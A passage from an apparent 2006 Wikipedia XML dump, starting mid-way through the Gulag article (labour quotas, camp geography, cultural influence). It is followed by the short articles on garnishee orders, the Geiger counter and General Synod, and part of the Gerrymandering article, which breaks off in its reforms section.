[[Logging]] and [[mining]] were among the most common of activities, as well as the harshest. In a Gulag mine, one person's production quota (norm) might be as high as 29,000 pounds (13,000 kg) of ore per day, with quotas being pushed up by tufta (&quot;pretending to work&quot;), whereby more work would be reported than had actually been done either through bribery, good relations, sexual favours or deception. Failure to meet a quota resulted in a loss of vital rations (going down to 300 grams of &quot;black rye bread&quot;, 5 grams of flour, 25 grams of buckwheat or macaroni, 27 grams of meat and 170 grams of potato). Lower rationing meant lower productivity, and this [[vicious cycle]] usually had fatal consequences through a condition of being emaciated and devitalized, dubbed &quot;dokhodiaga&quot; (доходяга), a term derived from the russian verb &quot;dokhodit&quot; (to reach (the limit of endurance)) and roughly translated as &quot;goners&quot;. However, the status of ''dokhodyaga'' could also be reached even having the status of ''[[udarnik]]'' (superproductive worker) despite receiving higher rations (in one camp, ''udarniks'' received a kilo of bread a day) and other benefits such as better housing conditions, because the earned extra food often was insufficient to recompense the energy spent on the effort to fulfil the higher quotas, which exceeded the standard norms by 50% or more.

Inmates were often forced to work in inhuman conditions. In spite of the brutal climate, they were almost never adequately clothed, fed, or given medical treatment, nor were they given any means to combat the lack of [[vitamin]]s that led to nutritional diseases such as [[scurvy]]. The nutritional value of basic daily food ration varied around 1,200 [[calorie]]s (5,000 [[kilojoule]]s), mainly from low-quality bread distributed by weight. According to the [[World Health Organization]], the minimum requirement for a heavy labourer is in the range of 3,100&amp;ndash;3,900 calories (13,000 to 16,300 kJ) daily.

Administrators routinely stole from the camp stockpiles for personal gain, as well as to curry favor with superiors. As a result, inmates were forced to work even harder to make up the difference.  Administrators and ''trustees'' (inmates assigned to perform the duties servicing the camp itself, such as cooks, bakers or stockmen, dubbed &quot;pridurki&quot; [translated as &quot;morons&quot; or &quot;fools&quot;, but the real meaning was &quot;the ones who fool around&quot; {instead of doing hard labor}]) skimmed off the medicines, clothing and foodstuffs.

== Geography ==

[[Image:Vorkuta entrance Labor in the USSR is a matter of honor, glory, pride and heroism.jpg|right|thumb|280px|Vorkuta entrance circa early 1950s. The sign reads: &quot;Labour in the USSR is a matter of honour, glory, pride and heroism&quot;.]]

In the early days of Gulag the locations for the camps were chosen primarily for the ease of isolation of prisoners. Remote monasteries in particular were frequently reused as sites for new camps. The site on the [[Solovetsky Islands]] in the [[White Sea]] is one of the earliest and also most noteworthy, taking root soon after the Revolution in [[1918]]. The [[colloquial]] name for the islands, &quot;[[Solovki]]&quot;, entered the [[vernacular]] as a [[synonym]] for the labour camp in general. It was being presented to the world as an example of the new Soviet way of &quot;re-education of [[class enemy|class enemies]]&quot; and reintegrating them through labour into the Soviet society.  Initially the inmates, the significant part being Russian [[intelligentsia]], enjoyed relative freedom (within the natural confinement of the islands). Local newspapers and magazines were edited and even some scientific research was carried out (e.g., a local botanical garden was maintained, unfortunately lost completely).  Eventually it turned into an ordinary Gulag camp; in fact some historians maintain that Solovki was a pilot camp of this type. See [[Solovki]] for more detail. [[Maxim Gorky]] visited the camp in 1929 and published an apology of it.

With the new emphasis on Gulag as the means of concentrating cheap labour, new camps were then constructed throughout the Soviet sphere of influence, wherever the economic task at hand dictated their existence (or was designed specifically to avail itself of them, such as [[White Sea-Baltic Canal|Belomorkanal]] or [[Baikal Amur Mainline]]), including facilities in big cities &amp;mdash; parts of the famous [[Moscow Metro]] and the [[Moscow State University]] new campus were built by forced labour. Many more projects during the rapid industrialization of the [[1930s]], [[World War II|war-time]] and post-war periods were fulfilled on the backs of convicts, and the activity of Gulag camps spanned a wide cross-section of Soviet industry. 

The majority of Gulag camps were positioned in extremely remote areas of north-eastern Siberia (the best known clusters are ''Sevvostlag'' (''The North-East Camps'') along [[Kolyma]] river and ''Norillag'' near [[Norilsk]]) and in the south-eastern parts of the Soviet Union, mainly in the [[steppe]]s of [[Kazakhstan]] (''Luglag'', ''Steplag'', ''Peschanlag''). These were vast and uninhabited regions with no roads (in fact, the construction of the roads themselves was assigned to the inmates of specialized railroad camps) or sources of food, but rich in minerals and other natural resources (such as timber). However, camps were generally spread throughout the entire [[Soviet Union]], including the European parts of [[Russia]], [[Belarus]], and [[Ukraine]]. There were also several camps located outside of the Soviet Union, in [[Czechoslovakia]], [[Hungary]], [[Poland]], and [[Mongolia]], which were under the direct control of the Gulag.

Not all camps were fortified; in fact some in Siberia were marked only by posts. Escape was deterred by the harsh elements, as well as tracking dogs that were assigned to each camp.  While during the 1920s and 1930s native tribes often aided escapees, many of the tribes were also victimized by escaped thieves. Tantalized by large rewards as well, they began aiding authorities in the capture of Gulag inmates. Camp guards were also given stern incentive to keep their inmates in line at all costs; if a prisoner escaped under a guard's watch, the guard would often be stripped of his uniform and become a Gulag inmate himself, as well as payments that were often equivalent to one or two weeks wages if an escaping prisoner was shot. 

In some cases, teams of inmates were dropped to a new territory with a limited supply of resources and left to initiate a new camp or die. Sometimes it took a few attempts before the next wave of colonists could survive the elements. 

The area along the [[Indigirka river]] was known as ''the Gulag inside the Gulag''. In 1926, the [[Oimiakon]] (Оймякон) village in this region registered the record low temperature of &amp;minus;71.2°C (&amp;minus;96°F).

== Influence ==

=== Culture ===

The Gulag spanned nearly four decades of Soviet history and affected millions of individuals. Its cultural impact was enormous.

[[Alexander Solzhenitsyn]]'s book ''[[The Gulag Archipelago]]'' was not the first literary work about labour camps. His previous book on the subject, &quot;[[One Day in the Life of Ivan Denisovich]]&quot;, about a typical day of the GULAG inmate, was originally published in the most prestigious Soviet monthly, &quot;Novij Mir&quot;, &quot;New World&quot;, in November of 1962, but was soon banned and withdrawn from all libraries. It was the first work to demonstrate the Gulag as an instrument of governmental repression against its own citizens on a massive scale.

The Gulag has become a major influence on contemporary Russian thinking, and an important part of modern Russian [[folklore]].  Many songs by the authors-performers known as the [[Bard (Soviet Union)|''bards'']], most notably [[Vladimir Vysotsky]] and [[Alexander Galich]], neither of whom ever served time in the camps, describe life inside the Gulag and glorified the life of &quot;Zeks&quot;. Words and phrases which originated in the labor camps became part of the Russian/Soviet vernacular in the 60's and 70's.

The memoirs of [[Alexander Dolgun]], [[Alexander Solzhenitsyn]], [[Varlam Shalamov]] and [[Yevgenia Ginzburg]], among others, became a symbol of defiance in Soviet society.  These writings, particularly those of Solzhenitsyn, harshly chastised the Soviet people for their tolerance and apathy regarding the Gulag, but at the same time provided a testament to the courage and resolve of those who were imprisoned.
  
Another cultural phenomenon in the USSR linked with the Gulag was the forced migration of many artists and other people of culture to Siberia. This resulted in a Renaissance of sorts in places like [[Magadan]], where, for example, the quality of theatre production was comparable to [[Moscow]]'s.

=== Colonization ===

Soviet [[wikisource:Об использовании труда уголовно-заключенных|state documents]] show that among the goals of the GULAG was colonization of sparsely populated remote areas. To this end, the notion of &quot;[[free settlement]]&quot; was introduced. 

When a well-behaved person had served the majority of their term, they could be released for &quot;free settlement&quot; (вольное поселение, &quot;volnoye poseleniye&quot;) outside the confinement of the camp. They were known as &quot;free settlers&quot; (вольнопоселенцы, &quot;volnoposelentsy&quot;, not to be confused with the term ссыльнопоселенцы, &quot;sslylnoposelentsy&quot;, &quot;[[Involuntary settlements in the Soviet Union|exile settlers]]&quot;). In addition, for persons who served full term, but who were denied the free choice of place of residence, it was recommended to assign them for &quot;free settlement&quot; and give them land in the general vicinity of the place of confinement.

This implement was also inherited from the [[katorga]] system.

=== Life after term served ===

Persons who served a term in a camp or in a prison were restricted from taking a wide range of jobs. A concealment of a previous imprisonment was a triable offense. Persons who served terms as &quot;politicals&quot; were nuisances for &quot;[[First Department]]s (Первый Отдел-&quot;Pervyj Otdel&quot;, outlets of the [[secret police]] at all enterprises and institutions), because former &quot;politicals&quot; had to be monitored.

Many people released from camps were restricted from [[101 km|settling in larger cities]].

After serving long terms, many people had lost their former job skills and social contacts. Therefore upon final release many of them voluntarily decided to become (or stay) &quot;free settlers&quot;. This decision was also influenced by the knowledge of the restrictions for them everywhere else. When many of the previously released prisoners were re-seized during the wave of arrests that began in [[1947]], this happened much more often to those who had chosen to move back to their home town proximity rather than to those who remained near the camps as the free settlers.

== Latest developments ==

Anne Applebaum's monograph described the releases of political prisoners from the camps as late as [[1987]]. In November [[1991]] the Russian parliament, the Supreme Soviet of RSFSR, passed the ''&quot;Declaration of Rights and Freedoms of the Individual&quot;'' which guaranteed theoretically, among other liberties, the right to disagree with the government.

== References ==

* [[Anne Applebaum]], ''Gulag: A History'', Broadway Books, 2003, hardcover, 720 pp., ISBN 0767900561.
* [[Stephane Courtois]], ''The Black Book of Communism: Crimes, Terror, Repression'', Harvard University Press, 1999, 858 pp., ISBN 0674076087.
* [[J. Arch Getty]], [[Oleg V. Naumov]], ''The Road to Terror: Stalin and the Self-Destruction of the Bolsheviks, 1932-1939'', Yale University Press, 1999, 635 pp., ISBN 0300077726.
* [[Gustaw Herling-Grudziński|Gustaw Herling]], ''A World Apart: Imprisonment in a Soviet Labor Camp During World War II'', Penguin, 1996, 284 pp., ISBN 0140251847.
* [[Paul Gregory]], [[Valery Lazarev]], eds, ''The Economics of Forced Labour: The Soviet Gulag'', Stanford: Hoover Institution Press, 2003, full text available at [http://www-hoover.stanford.edu/publications/books/gulag.html]
* [[Oleg V. Khlevniuk]], &lt;cite&gt;The History of the Gulag: From Collectivization to the Great Terror&lt;/cite&gt;, Yale University Press, 2004, hardcover, 464 pp., ISBN 0300092849.
* [[Tomasz Kizny]], ''Gulag: Life and Death Inside the Soviet Concentration Camps 1917-1990'', Firefly Books Ltd., 2004, 496 pp., ISBN 1552979644.  
* [[Jacques Rossi]], ''The Gulag Handbook: An Encyclopedia Dictionary of Soviet Penitentiary Institutions and Terms Related to the Forced Labour Camps'', 1989, ISBN 1557780242.
* [[Varlam Shalamov]], ''Kolyma Tales'', Penguin Books, 1995, 528 pp., ISBN 0140186956.
* [[Aleksandr Solzhenitsyn|Aleksandr Isayevich Solzhenitsyn]], &lt;cite&gt;The Gulag Archipelago&lt;/cite&gt;, Harper &amp; Row, 660 pp., ISBN 0060803320.
* [[Aleksandr Solzhenitsyn|Aleksandr Isayevich Solzhenitsyn]], &lt;cite&gt;The Gulag Archipelago&lt;/cite&gt;: Two, Harper &amp; Row, 712 pp., ISBN 0060803452.
* [http://lib.ru/PROZA/SOLZHENICYN/ Solzhenitsyn's], [http://lib.ru/PROZA/SHALAMOW/ Shalamov's], [http://lib.ru/PROZA/GINZBURG_E/ Ginzburg's] works at Lib.ru (in original Russian)
* ''Istorija stalinskogo Gulaga: konec 1920-kh - pervaia polovina 1950-kh godov; sobranie dokumentov v 7 tomach'', ed. by V. P. Kozlov et al., Moskva: ROSSPEN 2004-5, 7 vols. ISBN 5824306044

==See also==
*[[Internal Troops]]
*[[101st km]]
*[[Article 58 (RSFSR Penal Code)]]
*[[Concentration camp]]
*[[Dissident]]
*[[Evil empire]]
*[[Helsinki Accords]]
*[[History of the Soviet Union]]
*[[Human Rights]]
*[[Involuntary settlements in the Soviet Union]]
*[[Katorga]]
*[[Laogai]]
*[[List of Gulag camps]]
*[[Memorial (society)|Memorial]]
*Norilsk Uprising, an uprising in [[Norilsk]] &quot;Gorlag&quot; ([[mining]] camp), [[1953]]
*[[Parasitism (social offense)]]
*[[Penal colony]]
*[[Samizdat]]
*[[Troika (triumvirate)]]
*[[ZATO]]

=== People ===

*[[Naftaly Frenkel]]
*[[Vassily Grossman]]
*[[Gustaw Herling-Grudziński]]
*[[Alexander Solzhenitsyn]]
*[[Eduard Streltsov]]
*[[Sharashka#Notable sharashka inmates|Notable sharashka inmates]]

== Wikisource ==

*[[s:ru:Декрет ВЦИК Советов о лагерях принудительных работ|Decree about labor camps of 1919, in Russian]]
*[[s:ru:Постановление СНК СССР от 11.07.29 об использовании труда уголовно-заключённых|A decree about penal labor, 1929, in Russian]]

== External links ==
{{commons|ГУЛАГ}}
* [http://www.osa.ceu.hu/gulag/ Gulag: Forced Labor Camps, Online Exhibition, Open Society Archives]
* [http://www.memo.ru/history/NKVD/GULAG/maps/ussri.htm Map of Gulag]
* [http://www.gulagmuseum.org/index_eng.htm Virtual Gulag Museum]
* [http://www.nytimes.com/2003/06/11/books/11MCFA.html?th New York Times article of June 11, 2003, &quot;Camps of Terror, Often Overlooked&quot;, by Michael Mcfaul]
* [http://www-hoover.stanford.edu/publications/books/gulag.html The Economics of Forced Labour: The Soviet Gulag (ed. by Paul Gregory, Valery Lazarev), Stanford: Hoover Institution Press, 2003]
* [http://www.angelfire.com/de/Cerskus/english/Gulag1.html Gulag Photo album]
* [http://www.artukraine.com/paintings/getman.htm The Gulag Collection: Paintings by Former Prisoner Nikolai Getman]
* [http://digitalgallery.nypl.org/nypldigital/dgkeysearchresult.cfm?parent_id=288285&amp;word= Gulag prisoners at work, 1936-1937] Photoalbum at NYPL Digital Gallery

[[Category:GULAG| ]]
[[Category:Soviet phraseology]]

{{Link FA|he}}

[[cs:Gulag]]
[[da:Gulag]]
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[[he:גולאג]]
[[ja:グラグ]]
[[lt:Gulagas]]
[[hu:Gulág]]
[[nl:Goelag]]
[[no:Gulag]]
[[pl:Gułag]]
[[pt:Gulag]]
[[ro:Gulag]]
[[ru:ГУЛАГ]]
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[[sv:Gulag]]</text>
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  </page>
  <page>
    <title>Garnishee order</title>
    <id>12983</id>
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      <id>36183515</id>
      <timestamp>2006-01-22T05:36:06Z</timestamp>
      <contributor>
        <username>Cjmnyc</username>
        <id>15282</id>
      </contributor>
      <minor />
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">In the field of law, a &quot;'''garnishee order'''&quot;  or, more commonly now, &quot;'''garnishment'''&quot; is a [[court order]] for collecting a [[civil law (common law)|civil]] judgment.  
It is, therefore, one kind of &quot;attachment&quot; (= taking property from someone under the authority of a court order).  

If (Defendant) A owes (Plaintiff) B a certain sum of money as a judgment in a lawsuit against A that B won, and A does not pay it to B, and (Garnishee) C owes A some money, B may have a court issue a garnishee order to C, and then C has to pay the money directly to B.  
(C is often A's employer but could be anyone who owes A money, including someone who had borrowed from A.)

[[Category: Civil law]]</text>
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  </page>
  <page>
    <title>Geiger counter</title>
    <id>12984</id>
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      <id>41909936</id>
      <timestamp>2006-03-02T15:31:20Z</timestamp>
      <contributor>
        <username>Leithp</username>
        <id>225576</id>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/68.216.127.197|68.216.127.197]] ([[User talk:68.216.127.197|talk]]) to last version by Zs</comment>
      <text xml:space="preserve">__NOTOC__

[[Image:geiger counter.jpg|thumb|Modern geiger counter.]]
A '''Geiger counter''', also called a '''Geiger-Müller counter''', measures [[Ionizing radiation|ionizing radiation]].  
Geiger counters can be used to detect [[alpha radiation|alpha]] and [[beta radiation]]. (Due to the low density of in a GM tube, it is unlikely that a gamma photon will interact with it, hence the GM tube is very insensitive to gamma rays. A much better device for detecting gamma rays is a [[sodium]] iodide [[scintillation counter]]. The window on the scintillation counter is too thick to allow beta particles to enter the detector. It is vital that the correct detector is chosen for the radiation which is to be measured.)

The sensor is a [[Geiger-Müller tube]], a gas-filled tube that briefly conducts electricity when a [[particle]] or [[photon]] of radiation briefly makes the gas conductive.  The instrument amplifies this signal and displays it to the user, either as a current measurement (needle, lamp) or an audible click, with one click for each single particle.

[[Hans Geiger]] developed the Geiger counter in [[1908]] together with [[Ernest Rutherford, 1st Baron Rutherford of Nelson|Ernest Rutherford]]. This counter was only capable of detecting alpha particles. In [[1928]] Geiger and [[Walther_Müller|Walther Müller]] (a PhD student of Geiger) improved the counter so that it could detect all kinds of ionizing radiation. The current version of the Geiger counter is called the halogen counter. It was invented in 1947 by [[Sidney H. Liebson]] (Phys. Rev. 72, 602–608 (1947)). It has superseded the earlier Geiger counter because of its much longer life and lower operating voltage.

The Geiger-Müller tube is one form of a class of radiation detectors called ''gaseous detectors'' or simply gas detectors. Although useful, cheap and robust, a counter using a GM tube can only detect the presence and intensity of radiation. 

The Geiger-Müller counter has applications in the fields of [[nuclear physics]], [[geophysics]] ([[mining]]) and medical therapy with isotopes.

Gas detectors with the ability to both detect radiation and determine particle energy levels (due to their construction, test gas, and associated electronics) are called [[proportional counter]]s. Some proportional counters can detect the position and/or angle of the incident radiation as well.  Some of these have many internal wires and electrodes and are called [[multi-wire proportional counter]]s or simply MWPCs, and have been used extensively in nuclear physics, [[medicine]], [[particle physics]], [[astronomy]] and in industry.

Other devices detecting radiation include:
[[ionization chamber]],
[[dosimeter]]s, 
[[photomultiplier]], 
[[semiconductor detector]]s and variants including [[Charge-coupled device|CCD]]s,
[[microchannel plate]]s,
[[scintillation counter]]s, 
solid-state [[track detector]]s, 
[[cloud chamber]]s, 
[[bubble chamber]]s, 
[[spark chamber]]s, 
[[neutron detector]]s and 
[[microcalorimeter]]s.

==See also==
===General===
* [[Timeline of invention]]
* [[Measuring instrument]]
* [[Hardware random number generator]]
* [[Civil Defense Geiger Counters]]

===People===
* [[James Van Allen]]
* [[Hans Geiger]]
* [[Walther Bothe]]
* [[Sidney H. Liebson]]

===Radiation===
* [[Radioactive decay]]
* [[Timeline of particle physics technology]]
* [[Van Allen radiation belt]]
* [[X-ray]]

[[Category:Particle detectors]]

[[bg:Гайгеров брояч]]
[[da:Geigertæller]]
[[de:Geigerzähler]]
[[es:Contador_geiger]]
[[fr:Compteur Geiger]]
[[he:מונה גייגר]]
[[hu:Geiger-Müller-cső]]
[[it:Contatore Geiger]]
[[ja:ガイガー＝ミュラー計数管]]
[[nl:Geigerteller]]
[[pl:Licznik Geigera]]
[[pt:Contador Geiger]]
[[sv:Geigermätare]]</text>
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  </page>
  <page>
    <title>General Synod</title>
    <id>12985</id>
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      <comment>Heading</comment>
      <text xml:space="preserve">The '''General Synod''' is the title of the governing body of some church organizations. 

==Church of England==
In the [[Church of England]], General Synod was instituted in [[1970]] and is the culmination of a process of rediscovering self-government for the Church of England that had started in the 1850s.

The General Synod is unique in that it is the only body to which [[Parliament of the United Kingdom|Parliament]] had delegated the power to pass Measures, which become part of English law. The Church Assembly, the predecessor of the General Synod, was in 1919 given the power to pass legislation on any matter to do with the Church of England; if Parliament accepts the Measures, then they become law &amp;ndash; if MPs or members of the House of Lords are not happy with a Measure then they can reject it, but not amend it.

General Synod is elected every five years by a system of [[Single Transferable Vote]] and officially opened by [[Elizabeth II of the United Kingdom|Queen Elizabeth II]].

It is divided into the House of Bishops, the House of Clergy and the House of Laity. All diocesan bishops are members of the House of Bishops ex-officio; in addition, nine suffragan bishops are elected by all suffragan bishops. Membership of the House of Clergy is by [[election]] through the House of Clergy in each Diocesan Synod. Membership of the House of Laity is by election through the House of Laity in each Deanery Synod. There are 574 General Synod members in total.

There are two synodical sessions per year (4-5 days each), one in Church House, [[Westminster]], the other at the [[University of York]].

General Synod deals with three main areas:
*Central church business
*Relations with other churches
*Public issues

The General Synod elects some members to the [[Archbishops' Council]]

'''General Synods of other churches within the [[Anglican Communion]]'''
*[[Anglican Church of Australia]]
*[[Anglican Church of Canada]]
*[[Church of Ireland]]
*[[Anglican Church in Aotearoa, New Zealand and Polynesia]]
*[[Scottish Episcopal Church]]

==Episcopal Church of the United States==

In the [[Episcopal Church in the United States of America]], the equivalent is [[General Convention of the Episcopal Church in the United States of America|General Convention]].

==Other Churches==
The [[United Church of Christ]] in the United States also calls their main governing body a General Synod. It meets every two years and consists of over 600 delagates from various congregations and conferences.

== External Links ==
* [http://www.etoile.co.uk/Speech/Inaug7thSynod2000.html Queen's Speech at inauguration of seventh General Synod]
* [http://www.cofe.anglican.org/about/gensynod/ Church of England's General Synod website]
* [http://www.peter-owen.myby.co.uk/articles/gsmembers.html List of current members]
* [http://www.ely.anglican.org/ministry/leaflets/gensynod.html Ely Diocese's General Synod Leaflet]

[[Category:Anglicanism]]
[[Category:Christian group structuring]]</text>
    </revision>
  </page>
  <page>
    <title>Gerrymandering</title>
    <id>12987</id>
    <revision>
      <id>41268077</id>
      <timestamp>2006-02-26T04:36:33Z</timestamp>
      <contributor>
        <username>Mathwizard1232</username>
        <id>549107</id>
      </contributor>
      <minor />
      <comment>Small clarity</comment>
      <text xml:space="preserve">[[Image:Gerrymander.jpeg|thumb|260px|right|Printed in 1812, this political cartoon illustrates the electoral districts drawn by the [[Massachusetts]] legislature to favor the incumbent [[Democratic-Republican]] party candidates of Governor Elbridge Gerry over the [[Federalists]], from which the term gerrymander is derived.  The cartoon depicts the bizarre shape of one district as a [[salamander]].]]
'''Gerrymandering''' (usually pronounced with a soft ''G'', {{IPA|[ʤɛɹimændɚ]}}) is a controversial form of [[redistricting]] in which electoral district or [[constituency]] boundaries are manipulated for an electoral advantage.  The word &quot;gerrymander&quot; is named for the [[United States|American]] politician [[Elbridge Gerry]] ([[July 17]], [[1744]] &amp;ndash; [[November 23]], [[1814]])&lt;ref&gt; Gerry [[IPA chart for English|pronounced]] his name {{IPA|[gɛɹi]}} (with a hard ''G'')&lt;/ref&gt;, and is a [[portmanteau]] of his name and the word &quot;[[salamander]],&quot; which was used to described the appearance of a tortuous electoral district Gerry created in order to disadvantage his electoral opponents.  &quot;Gerrymander&quot; is used both as a [[verb]] meaning &quot;to commit gerrymandering&quot; as well as a [[noun]] describing the resulting electoral geography.  

Gerrymandering may be used to advantage or disadvantage particular [[constituent (politics)|constituent]]s, such as members of a racial, linguistic, religious or class group, often in the favor of ruling [[incumbent]]s or a specific [[political party]].  Although all [[electoral system]]s which use multiple districts as a basis for determining [[representation (politics)|representation]] are susceptible to gerrymandering to various degrees, governments using single winner [[voting system]]s where elected politicians are responsible for drawing districts are the most vulnerable.  Most notably, gerrymandering is particularly effective in [[nonproportional voting system|nonproportional system]]s that tend towards fewer parties, such as [[first past the post]].  Among western democracies, only [[Israel]] and the [[Netherlands]] are not susceptible to gerrymandering in the national government, as they employ electoral systems with only one (nationwide) voting district.

The term ''gerrymandering'' sometimes includes instances of [[Apportionment (politics)|malapportionment]], where the electoral rules allow districts to significantly differ in population size.  Although the possibility of districts being unequal in population can make gerrymandering particularly easy and effective towards securing electoral advantage, gerrymandering can still be done when districts are required to have equal representative to population ratios.

==Methods: &quot;Packing and cracking&quot;==
[[Image:Gerrymandering Comparison.png|thumb|400px|right|Redrawing the balanced electoral districts in this example creates a guaranteed 3-to-1 advantage in representation for the blue voters.  Here, 14 red voters are ''packed'' into the light green district and the remaining 18 are ''cracked'' across the 3 blue districts.]]&lt;!-- old example:[[Image:Gerrymander_diagram_for_four_sample_districts.gif|thumb|350px|right|Redrawing electoral districts in this example creates a guaranteed 3-to-1 advantage in representation for Party 1 as Party 2's voters are ''packed'' into District D.]] --&gt;
There are two principal strategies behind gerrymandering: maximizing the effective votes of supporters, and minimizing the effective votes of opponents.  One form of gerrymandering, ''packing'', is to place as many voters of one type into a single district to reduce their influence in other districts.  A second form, ''cracking'', involves spreading out voters of a particular type among many districts in order to reduce their representation by denying them a sufficiently large voting block in any particular district.  The methods are typically combined, creating a few &quot;forfeit&quot; seats for packed voters of one type in order to secure even greater representation for voters of another type.

Gerrymandering is effective because of the [[wasted vote effect]] - by packing opposition voters into districts they will already win (increasing excess votes for winners) and by cracking the remainder among districts where they are moved into the minority (increasing votes for eventual losers), the number of wasted votes among the opposition can be maximized.  Similarly, with supporters now holding narrow margins in the unpacked districts, the number of wasted votes among supporters is minimized.

===The Dame Shirley Porter case===
An interesting, albeit unusual method of achieving the effects of gerrymandering is to attempt to move the population within the existing boundaries. This occurred in [[City of Westminster|Westminster]], in the United Kingdom, where the local government was controlled by the [[Conservative Party (UK)|Conservative party]], and the leader of the council, [[Dame Shirley Porter]], conspired with others to implement the policy of [[council house]] sales in such a way as to shore up the Conservative vote in marginal wards by selling the houses there to people thought likely to vote Conservative.  An inquiry by the district auditor found that these actions had resulted in financial loss to taxpayers, and Porter and three others were surcharged to cover the loss. Porter was accused of &quot;disgraceful and improper gerrymandering&quot; by district auditor [[John Magill]]. Those surcharged resisted this ruling with a legal challenge, but, in December 2001, the appeal court upheld the district auditor's ruling. Despite further lengthy legal argument Porter eventually accepted a deal to end the long-running saga, and paid £12 million (out of an original claimed £27 million plus costs and interest) to Westminster Council in July, 2004.

==Effects of gerrymandering==
&lt;!-- contention over districts creates a major distraction for the legislature --&gt;

===Reduction in electoral competition and voter turnout===
The most immediate and obvious effect of gerrymandering is for elections to become less competitive in all districts, particularly packed ones.  As electoral margins of victory become significantly greater and politicians have [[safe seat]]s, the incentive for meaningful campaigning is reduced.  Similarly, [[voter turnout]] is likely to be adversely affected as the chance of influencing electoral results by voting becomes greatly reduced and, correspondingly, political campaigns are less likely to expend resources encouraging turnout.  &lt;!-- an example fact here regarding turnout stats or efforts to encourage turnout in competitive/noncompetitive elections would be great --&gt;

An additional effect of this reduction in competition is the increased importance of securing [[nomination]] rather than ultimate approval of the general electorate for a given district, as a general win once nominated becomes more or less guaranteed in a gerrymandered district.  In 2004, for example, when California's 3rd [[Congressional District]] became an [[open seat]] after Republican Congressman [[Doug Ose]] ran for higher office, the state's three strongest Republican congressional candidates campaigned vigorously against one another for nomination in the district's [[primary election]], even though several other districts remained uncontested with no Republican nominee making even a token campaign effort.

===Increased incumbent advantage and campaign costs===
The effect of gerrymandering on incumbents is particularly focused, as incumbents are far more likely to be reelected under conditions of gerrymandering.  This is due in part both to the high likelihood of incumbents to be the ones orchestrating a gerrymander as well as the relative ease of renomination for incumbents in subsequent elections, including incumbents among the minority.  This shows another commonly cited effect of gerrymandering: a deleterious effect on the principle of democratic accountability.  No longer fearing removal from office with their renomination and electoral success secured due to uncompetitive elections, incumbent politicians have a greatly reduced incentive to govern based on the interests of their constituents, even when these interests reflect an issue that enjoys majority support across the electorate as a whole.

Gerrymandering can also have a more practical effect on the campaign costs for district elections.  As districts become increasingly [[concave]] and oddly elongated, the difficulty of finding transportation and focusing [[campaign advertising]] across a district increases significantly, resulting in higher costs to run for office.  When incumbents have an advantage at securing campaign funds (as is commonly the case), this further amplifies the advantage to incumbents that gerrymandering provides.

===Less descriptive representation===
Gerrymandering also has significant effects on the [[representation (politics)|representation]] received by voters in gerrymandered districts.  Because gerrymandering is designed to increase the number of wasted votes among the electorate, the relative representation of particular groups can be drastically altered from their actual share of the voting population.  This effect can significantly prevent a gerrymandered system from achieving [[proportional representation|proportional]] and [[descriptive representation]], as the winners of elections are increasingly determined by who is drawing the districts rather than the preferences of the voters.

Sometimes, however, gerrymandering is advocated as a solution for improving representation amongst otherwise underrepresented groups by packing them into a single district.  This can be controversial, and may lead to those groups remaining marginalized in the government as they become confined to a single district and representatives outside that district no longer need to represent them to win election.  As an example, much of the redistricting conducted in the United States in the early 1990s involved the intentional creation of additional &quot;majority-minority&quot; districts where racial minorities such as [[African Americans]] were packed into the majority.  Curiously, this &quot;[[maximization policy]]&quot; was supported by elements of both the Republican Party (who had little support among the minority groups) and minority representatives elected as [[Democratic Party (United States)|Democrat]]s from these constituencies, who then had &quot;[[safe seat]]s&quot;. &lt;!-- cite a famous politician or political scientist that has a good quote of this here --&gt;

===Incumbent gerrymandering===
[[Image:California District 38 2004.png|thumb|250px|right|Carved out with the aid of a computer, this congressional district was the product of [[California government and politics#Bi-partisan gerrymandering|California's incumbent gerrymandering]].  This is the district of Democrat [[Grace Napolitano|Grace Flores Napolitano]], who ran unopposed in 2004, obtaining 100 percent of the vote.]]
Gerrymandering can also be done to help [[incumbent]]s as a whole, effectively turning every district into a packed one and greatly reducing the potential for competitive elections.  This is particularly likely to occur when the minority party has significant obstruction power - unable to enact a partisan gerrymander, the legislature instead agrees on ensuring their own mutual reelection.

In an unusual occurrence in 2000, for example, the two dominant parties in the state of [[California]] cooperatively redrew both state and federal legislative districts to preserve the status quo,  ensuring the electoral safety of the politicians from possibly unpredictable voting by the electorate. This move proved completely effective, as no State or Federal legislative office changed party in the [[U.S. House election, 2004|2004 election]], with 53 congressional, 20 state senate, and 80 state assembly seats potentially at risk.

==Reforms targeted against gerrymandering==
Due to the myriad of issues associated with gerrymandering and the subsequent impact it has on competitive elections and democratic accountability, various [[electoral reform]]s aimed at making gerrymandering either more difficult or less effective have been proposed.  These reforms can be controversial, however, and frequently meet particularly strong opposition from groups that are benefitting from gerrymandering who stand to lose considerable influence in a more representative government.

===Redistricting by neutral or cross-party agency===
The most commonly advocated electoral reform proposal targeted at gerrymandering is to change the redistricting process.  Under these proposals, an independent, and presumably objective, commission is created and charged with redistricting rather than the legislature.  To help ensure neutrality, members of the board can come from relatively apolitical sources such as retired state judges or longstanding members of the [[bureaucracy]], possibly requiring adequate representation from competing political parties.  Additionally, members of the board can be denied access to information that might aid in gerrymandering, such as the demographic makeup or voting patterns of the population.  As a further constraint, [[consensus]] requirements can be imposed to ensure that the resulting district map reflects a wider perception of fairness, such as a requirement for a [[supermajority]] approval of the commission for any district proposal.
&lt;!--mention Iowa's district method here as an example. Also mention how these bodies are sometimes instructed to draw districts in a way that maximizes competition, even when that doesn't make much sense given a region's demographics - sort of like an inverse gerrymander--&gt;

===Changing the voting system===
Because gerrymandering relies on the wasted vote effect to be effective, the use of a different [[voting system]] with fewer wasted votes can help reduce gerrymandering.  In particular, the use of [[multimember district]]s alongside voting systems establishing [[proportional representation]] can greatly reduce the proportion of wasted votes, and therefore the potential for gerrymandering.  Similarly, the use of semi-proportional voting systems such as [[cumulative voting]] or the [[single non-transferable vote]] can also help achieve a large reduction in the number of wasted votes, and due to their relative simplicity and similarity to [[first past the post]] they are often advocated as a replacement system by advocates of electoral reform.
{{sect-stub}}

===Changing the size of districts and the elected body===
If a proportional or semi-proportional voting system alongside multimember districts is used, then increasing the number of winners in any given district will reduce the number of wasted votes.  This can be accomplished both by merging seperate districts together and by increasing the total size of the body to be elected.  Since gerrymandering relies on exploiting the wasted vote effect to secure electoral advantage, reducing the number of wasted votes by increasing the number of winners in a district can greatly reduce the potential for gerrymandering.  Unless all districts are merged, however, this method cannot eliminate gerrymandering entirely.

